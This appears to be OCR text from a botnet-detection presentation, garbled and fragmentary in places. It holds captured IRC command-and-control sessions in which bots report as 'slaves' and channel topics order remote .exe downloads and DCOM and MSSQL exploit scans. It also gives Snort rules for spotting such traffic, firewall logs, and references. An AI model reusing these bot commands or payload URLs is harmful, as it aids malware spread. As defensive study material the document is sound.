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dummy:~# telnet ***.233.45.227 21

:LA.CNRDI1-NIX NOTICE AUTH :*** Looking up your hostname...
:LA.CNRDI1-NIX NOTICE AUTH :*** Found your hostname (cached)
NICK oomvp23

:LA.CNRDI1-NIX NOTICE oomvp23 :*** |f you are having problems connecting due
to ping timeouts, please type /quote pong AODOB868 or /raw pong AODOB868 now.

PING :A0D0B868

USER oks34k "ABEPC" "idinah.shacknet.nu" :slave

PONG :A0D0B868

:LA.CNRDI1-NIX 001 oomvp23 :Welcome to the CNRD-I1-NIX IRC Network
oomvp23loks34k@***.jp

:LA.CNRDI1-NIX 002 oomvp23 :Your host is LA.CNRDI1-NIX, running version
Unreal3.2.3

:LA.CNRDI1-NIX 003 oomvp23 :This server was created Sun Mar 13 21:40:50 2005

:LA.CNRDI1-NIX 251 oomvp23 :There are 78 users and O invisible on 1 servers
:LA.CNRDI1-NIX 252 oomvp23 1 :operator(s) online

:LA.CNRDI1-NIX 254 oomvp23 9 :channels formed

:LA.CNRDI1-NIX 255 oomvp23 :l have 78 clients and O servers
:LA.CNRDI1-NIX 265 oomvp23 :Current Local Users: 78 Max: 156
:LA.CNRDI1-NIX 266 oomvp23 :Current Global Users: 78 Max: 156
:LA.CNRDI1-NIX 375 oomvp23 :- LA.CNRDI1-NIX Message of the Day -
:LA.CNRDI1-NIX 372 oomvp23 :- 12/9/2005 16:32

:LA.CNRDI1-NIX 372 oomvp23 :- - -

:LA.CNRDI1-NIX 376 oomvp23 :End of /MOTD command.

:oomvp23 MODE oomvp23 :+w

:oomvp23 MODE oomvp23 :+w

NICK :ABEPC

:oomvp23loks34k@***.jp NICK :ABEPC

INFO

LA.CNRDI1-NIX 371 ABEPC :=-=-=-= Unreal3.2.3 =-=-=-=

:LA.CNRDI1-NIX 371 ABEPC :| Brought to you by the following people:
:LA.CNRDI1-NIX 371 ABEPC :|

:LA.CNRDI1-NIX 371 ABEPC :| Head coders:

:LA.CNRDI1-NIX 371 ABEPC :|

:LA.CNRDI1-NIX 371 ABEPC :| Credits - Type /Credits

:LA.CNRDI1-NIX 371 ABEPC :| DALnet Credits - Type /Dalinfo

:LA.CNRDI1-NIX 371 ABEPC :|

:LA.CNRDI1-NIX 371 ABEPC :| This is an UnrealIRCD-style server
:LA.CNRDI1-NIX 371 ABEPC :| If you find any bugs, please mail

:LA.CNRDI1-NIX 371 ABEPC :| bugs@lists.unrealircd.org

:LA.CNRDI1-NIX 371 ABEPC :| UnreallRCd Homepage: http://www.unrealircd.com

:LA.CNRDI1-NIX 371 ABEPC :Birth Date: Sun Mar 13 21:40:50 2005, compile # 1
:LA.CNRDI1-NIX 371 ABEPC :On-line since Sun Oct 01 20:28:32 2006

:LA.CNRDI1-NIX 371 ABEPC :ReleaselD (1.1.1.1.2.1.2.1.2.2234.2.344 2005/03/13
20:24:29)
:LA.CNRDI1-NIX 374 ABEPC :End of /INFO list.




LIST

:LA.CNRDI1-NIX 321 ABEPC Channel :Users Name
:LA.CNRDI1-NIX 322 ABEPC #msbots 3 :
:LA.CNRDI1-NIX 322 ABEPC #zgb.slaves3 2 :
:LA.CNRDI1-NIX 322 ABEPC #msbots2 1 :
:LA.CNRDI1-NIX 322 ABEPC #msbots3 1 :
:LA.CNRDI1-NIX 322 ABEPC #msbots4 1 :
:LA.CNRDI1-NIX 322 ABEPC #msbots5 3 :
:LA.CNRDI1-NIX 322 ABEPC #msbots6 4 :
:LA.CNRDI1-NIX 322 ABEPC #msbots7 2 :
:LA.CNRDI1-NIX 322 ABEPC #msbots8 70 :
:LA.CNRDI1-NIX 323 ABEPC :End of /LIST

JOIN #msbots8 slavesofms
:ABEPC!oks34k@rikad42.riken.jp JOIN :#msbots8

:LA.CNRDI1-NIX 353 ABEPC = #msbots8 :ABEPC KORVANNIEW2 NEW-
F96CA8AF071 PORTABLE2 kbpf79 YASU NBOC1 RMD93001CRPTSY
ZIGGYSWORLD RSMITHO1 GBSTEZ1INBOOK150 NBIS1 EU-GBRO6-WXP241
TOJESTMOJASIEC OSL-JMACRAE VC001 FM-3095FF7B2127 MZAYED LT204386
XPPRT-DUMITRESC FMDNT1X TCOLLINI WIRELESS KUS muxdw48 MSEKIIBM
CHALLENGER CC521608-A TOSHIBA14 UK1159 EFR HERMANLAPTOP ZL051611
JEFF-YORWAG8ZSE CO

:LA.CNRDI1-NIX 353 ABEPC = #msbots8 : TEKNOBUS2 P0532812 VAIOLAPIF
LC8592400 LAPTOPMR UNIVERSI-D127B2 BERDUL3AE014 EUGENE COE-
7H4ML1S GLUE-M002 YOSHI-LR500 UKWARLAP0006 L72XC871 NR0O0018
DENNISMHUENEMANN LAPTOP JANNOTEBOOK RMORRIS MIRAGE4 STEVED-
D810 fyldt56 DELL-AB GMAXERATHI fork SODA-8D40011902

:LA.CNRDI1-NIX 366 ABEPC #msbots8 :End of /INAMES list.

:TWA01194258!jifsk85@xx.30.110.12 QUIT :Connection reset by peer
:Y1129!lbycq66@p2248-ipad35sasajima.aichi.xxxx.jp JOIN :#msbots8

:Y1129!lbycq66@p2248-ipad35sasajima.aichi. xxxx.jp PRIVMSG #msbots8 :Slave
Y1129 reporting, proxy - 2, IPv4 address is 192.168.123.113 . .

:SEXP-OTE!vffec19@static-xx.95.40.165.addr. xxxx.se JOIN :#msbots8

:SEXP-OTE!vffec19@static-xx.95.40.165.addr. xxxx.se PRIVMSG #msbots8 :Slave
sexp-ote.eurotherm.local reporting, proxy - 2, IPv4 address is 149.121.240.113 . .

:NEW-F96CA8AF071!jezon34@xx.161.74.22 QUIT :Connection reset by peer
:NB-SANDER-XP!dksqo49@ipxx-207-58-62.adsl. xxxx.nl JOIN :#msbots8

:NB-SANDER-XP!dksqo49@ipxx-207-58-62.adsl. xxxx.nl PRIVMSG #msbots8 :Slave
NB-SANDER-XP reporting, proxy - 2, IPv4 address is 192.168.2.2 . .

:SEXP-OTE!vffec19@static-xx.95.40.165.addr. xxxx.se QUIT :Connection reset by
peer

:PAUL!vazor67@xxx.34.118.101 JOIN :#msbots8

:PAUL!vazor67@xxx.34.118.101 PRIVMSG #msbots8 :Slave Paul reporting, proxy -
2, IPv4 address is 169.254.204.183 . .

:FM-3095FF7B2127!jhgmt28@xxxxx.ftth.xxxx.jp QUIT :Connection reset by peer

PRIVMSG #msbots8 :Slave MSEKIIBMO reporting, proxy - 2, IPv4 address is
10.64.14.72 . .

PING :LA.CNRDI1-NIX
:CHALLENGER!tgohs31@xx.132.161.110 QUIT :Connection reset by peer
PONG :LA.CNRDI1-NIX




LUSERS

:LA.CNRDI1-NIX 251 ABEPC :There are 82 users and 0 invisible on 1 servers
:LA.CNRDI1-NIX 252 ABEPC 1 :operator(s) online

:LA.CNRDI1-NIX 254 ABEPC 9 :channels formed

:LA.CNRDI1-NIX 255 ABEPC :1 have 82 clients and 0 servers
:LA.CNRDI1-NIX 265 ABEPC :Current Local Users: 82 Max: 156
:LA.CNRDI1-NIX 266 ABEPC :Current Global Users: 82 Max: 156
:RMD93001CRPTSY!opawm37@xx.187.154.83 QUIT :Connection reset by peer
NAMES

:LA.CNRDI1-NIX 366 ABEPC * :End of INAMES list.
:KORVANNIEW2!pgibw10@xx.249.139.58 QUIT :Connection reset by peer
WHOIS fork

:LA.CNRDI1-NIX 311 ABEPC fork fork microsoft.rulez * :fork

:LA.CNRDI1-NIX 319 ABEPC fork :@#msbots7 @#msbots3 @#msbots2 @#msbots4
@#msbots5 @#zgb.slaves3 @#msbots #msbots6 #msbots8

:LA.CNRDI1-NIX 312 ABEPC fork LA.CNRDI1-NIX :CNRDI1-WIN CNF-
25.02.2004|WINMod-13.09.2005

:LA.CNRDI1-NIX 313 ABEPC fork :is a Network Administrator

:LA.CNRDI1-NIX 310 ABEPC fork :is available for help.

:LA.CNRDI1-NIX 317 ABEPC fork 51937 1159702890 :seconds idle, signon time
:LA.CNRDI1-NIX 318 ABEPC fork :End of /WHOIS list.
:NEW-F96CA8AF071!yzgsz86@xx.161.85.29 JOIN :#msbots8

:NEW-F96CAB8AF071!yzgsz86@xx.161.85.29 PRIVMSG #msbots8 :Slave new-
f96caB8af071 reporting, proxy - 2, IPv4 address is xx.161.85.29 . .

PING :LA.CNRDI1-NIX
PONG :LA.CNRDI1-NIX

Harder




NICK Bot|9277
USER yscxhz 0 0 :Bot|9277
:STA 001 Bot|9277 :Welcome to the Service server Bot|9277
:STA 002 Bot|9277 :Your host is STA, running version 5.5.2653
:STA 251 Bot|9277 :There are 2417 users and 71 invisible on 1 servers

USERHOST Bot|9277
:STA 422 Bot|9277 :MOTD File is missing

MODE Bot|9277 +x

JOIN #server# send.
:STA 302 Bot|9277 :Bot|9277=+~yscxhz@***.***.214.76
:STA 501 Bot|9277 :Unknown MODE flag
:Bot|9277!~yscxhz@***.***.214.76 JOIN :#server#

:STA 332 Bot|9277 #server# :.dl http://lwww.gizahost.com/htri/sbr.exe
aaaananz4.exe 1

:STA 353 Bot|9277 @ #serveri# :Bot|9277
:STA 366 Bot|9277 #server# :End of INAMES list.

PRIVMSG #server# :[DOWNLOAD]: Downloading URL:
http://lwww.gizahost.com/htri/sbr.exe to: aaaananz4.exe.

:STA 404 Bot|9277 #server# :Cannot send to channel

PRIVMSG #server# :[DOWNLOAD]: Downloaded 170.0 KB to aaaananz4.exe @
170.0 KB/sec.

:STA 404 Bot|9277 #server# :Cannot send to channel

PRIVMSG #server# :[DOWNLOAD]: Opened: aaaananz4.exe.
:STA 404 Bot|9277 #server# :Cannot send to channel
PING :STA

n Harder




JOIN #.to. teamz
:STA 302 JPN|425015894 :JPN|425015894=+~mteubrfprba@+******.214.76
:STA 501 JPN|425015894 :Unknown MODE flag
:JPN|425015894 MODE JPN|425015894 :-i
:JPN|425015894!~mteubrfprba@***.***.214.76 JOIN :#.t0.
:STA 332 JPN|425015894 #.t0. :.asc asnlsmb 3002 0 -r -s
:STA 353 JPN|425015894 @ #.to. :JPN|425015894 @SaBeR
:STA 366 JPN|425015894 #.to. :End of INAMES list.
PING :STA
PONG :STA
:SaBeRladmin@admin.com PRIVMSG #.to.:. PING 1149678059.
:SaBeR!ladmin@admin.com PRIVMSG #.to. :.k teamall
PRIVMSG #.to. :[MAIN]: Password accepted.
:STA 404 JPN|425015894 #.to. :Cannot send to channel
:SaBeR!admin@admin.com PRIVMSG #.to. :.asc asnlsmbnt 3002 0 -r -s
PRIVMSG #.to. :[SCAN]: Already 301 scanning threads. Too many specified.
:STA 404 JPN|425015894 #.to. :Cannot send to channel
PING :STA
PONG :STA
:SaBeR!ladmin@admin.com PRIVMSG #.to. :.asc dcom13520000 -r -s
:SaBeR!admin@admin.com TOPIC #.to. :.asc dcom135 2000 0 -r -s
PING :STA
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= IDS/IDPS

DoS

Reference :

Know Your Enemy: Tracking Botnets

http://www.honeynet.org/papers/bots/
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IDS/IDPS

IDS/I1DPS

Snort+BleedingEdge Snort Rules
o Bleeding—Edge Snort

Snort

Bleeding-Edge Snort
http://www.bleedingsnort.com/

RXBOT

alert tcp any any -> $HOME_NET any (
msg:"BLEEDING-EDGE RXBOT / RBOT Vulnerability Scan";

content:"|2E|advscan|20|"; nocase;

classtype: trojan-activity;
reference:url,www.nitroguard.com/rxbot.html;
reference:url,www.trendmicro.com/vinfo/virusencyclo/default5.asp
?VName=WORM_RBOT.GL;
reference:url,www.muzzleflash.org/readarticle.php?article_id=5
#scanning; flow:established; sid:2001184; rev: 2;)
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IRC

IRC

0 JOIN

{download|dliget} http:// .exe
o Harder PRIVMSG

Q IRC IRC

IRC

IRC JOIN

alert tcp any any -> any 1024 (
msg:"Experimental IRC JOIN command detected’,
content"JOIN ¥:#")
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SPAM
SMTP

SPAMCOP

IRC

WEB
download .exe

alert tcp any 1024: -> any 1024 (
msg:'Suspicious http request’
pcre:"/download.*exe/s"; flow.established; )
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USER 4isf0 4isf0 4isf0 :SYSTEM

NICK [x]lgRkpiH

:hub.41090.com 001 [x]IqRkpiH :pirates, [x]IgRkpiH!4isfo@decoy.snort.gr.jp

:hub.41090.com 005 [x]IqRkpiH MA_II? KNOCK SAFELIST HCN MAXCHANNEL S=10 MAXBANS=60 NICKLEN=30

OPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are
supported by this server

:hub.41090.com 005 [x]IgRkpiH WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=#
PREFIX=(gaohv)~&@%+
CHANMODES=be kfL,|,psmntirRCOAQKVGCuzNSMT NETWORK=pirates
CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server

:[x]IgRkpiH MODE [x]IqRKpiH :+i

MODE [x]IgRKkpiH +xi

JOIN #hotgirls

:[x]IgRkpiH!4isfo@decoy.snort.gr.jp JOIN :#hotgirls

:hub.41090.com 332 [x]IqRkpiH #hotgirls :* download http://www.home.no/chirir0za/wnguards.exe -e

-s ][ *ipscan i.i.i.i mssqgl2000 -s ][ * wormride -s -t

:hub.41090.com 333 [x]IgRkpiH #hotgirls luffy 1122366821

:hub.41090.com 353 [x]IqRkpiH @ #hotgirls :[x]IgRkpiH

:hub.41090.com 366 [x]IqRkpiH #hotgirls :End of /NAMES list.

MODE #hotgirls +smntu

:hub.41090.com 482 [x]IqRkpiH #hotgirls :You're not channel operator

a SPAM

= TCP/25
= DNS MX
o DoS
- MassTraffic
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Oct 26 09:42:48 192.168.1.252 Oct 26 2006 09:42:47: %FWSM-614: Teardown TCP connection 219057346 faddr 10.0.33.2/110 gaddr
10.0.214.45/39220 laddr 192.168.45.242/2070 duration 0:00:00 bytes 1428 (TCP FINs)

Oct 26 09:42:48 192.168.1.248 Oct 26 2006 09:42:47: %FWSM-611: Built dynamic tcp translation from vlan130:192.168.130.26/1052 to
outside:10.0.214.130/55631

Oct 26 09:42:48 192.168.1.242 Oct 26 2006 09:42:47: %FWSM-614: Teardown TCP connection 234100792 faddr xxx.15.13.176/49076 gaddr
10.0.243.141/80 laddr 10.0.243.141/80 duration 0:07:22 bytes 18816 (TCP Reset-O)

Oct 26 09:42:48 192.168.1.242 Oct 26 2006 09:42:47: %FWSM-613: Built inbound TCP connection 234102374 for faddr xxx.6.85.111/50652
gaddr 10.0.243.141/80 laddr 10.0.243.141/80

Oct 26 09:42:48 192.168.1.248 Oct 26 2006 09:42:47: %FWSM-611: Built dynamic tcp translation from vlan130:192.168.130.26/1074 to
outside:10.0.214.130/55653

Oct 26 09:42:48 192.168.1.248 Oct 26 2006 09:42:47: %FWSM-613: Built outbound TCP connection 219032008 for faddr xxx.248.239.42/80
gaddr 10.0.214.130/55653 laddr 192.168.130.26/1074

Oct 26 09:42:48 192.168.1.250 Oct 26 2006 09:42:47: %FWSM-615: Built UDP connection for faddr 192.168.0.1/53 gaddr 192.168.238.24/1026
laddr 192.168.238.24/1026

Oct 26 09:42:48 192.168.1.248 Oct 26 2006 09:42:47: %FWSM-611: Built dynamic tcp translation from vian130:192.168.130.26/1089 to
outside:10.0.214.130/55668

Oct 26 09:42:48 192.168.1.248 Oct 26 2006 09:42:47: %FWSM-613: Built outbound TCP connection 219032602 for faddr xxx.248.239.42/80
gaddr 10.0.214.130/55668 laddr 192.168.130.26/1089

Oct 26 09:42:48 192.168.1.250 Oct 26 2006 09:42:47: %FWSM-611: Built dynamic tcp translation from exitnishina:192.168.224.44/50807 to
outside:10.0.38.24/40996

Oct 26 09:42:48 192.168.1.250 Oct 26 2006 09:42:47: %FWSM-613: Built outbound TCP connection 219031794 for faddr xxx.200.52.89/80
gaddr 10.0.38.24/40996 laddr 192.168.224.44/50807

Oct 26 09:42:49 192.168.1.248 Oct 26 2006 09:42:48: %FWSM-614: Teardown TCP connection 219031796 faddr xxx.248.239.42/80 gaddr
10.0.214.130/55667 laddr 192.168.130.26/1088 duration 0:00:00 bytes 1379 (TCP FINs)

Oct 26 09:42:49 192.168.1.248 Oct 26 2006 09:42:48: %FWSM-611: Built dynamic tcp translation from vian130:192.168.130.26/1090 to
outside:10.0.214.130/55669

Oct 26 09:42:49 192.168.1.248 Oct 26 2006 09:42:48: %FWSM-613: Built outbound TCP connection 219031967 for faddr xxx.248.239.42/80
gaddr 10.0.214.130/55669 laddr 192.168.130.26/1090

Oct 26 09:42:49 192.168.1.248 Oct 26 2006 09:42:48: %FWSM-614: Teardown TCP connection 219031688 faddr xxx.248.239.42/80 gaddr
10.0.214.130/55686 laddr 192.168.130.26/1107 duration 0:00:00 bytes 1406 (TCP FINs)

Oct 26 09:42:49 192.168.1.252 Oct 26 2006 09:42:48: %FWSM-611: Built dynamic tcp translation from exitseib:192.168.161.92/1793 to
outside:10.0.214.5/30092

a SIM
] DoS
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Unassigned IP Address

Exploits

a

a

a

AV PFW

o IDS/ZIDPS

a

a

a

a AV 90
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PFW

SPAM
DoS
AV PFW
AV PFW
IDS/IDPS IRC
IRC
ssl P2P

Exploit
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o DoS SPAM
Mass Traffic

Argus

Audit Trail

Argus : Auditing Network Activity
http://qosient.com/argus/
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DNS query/Zanswer

DDNS IP

The Domain Name Service as an IDS: University Of Amsterdam and SURFnet
http://staff.science.uva.nl/~delaat/snb-2005-2006/p12/report.pdf
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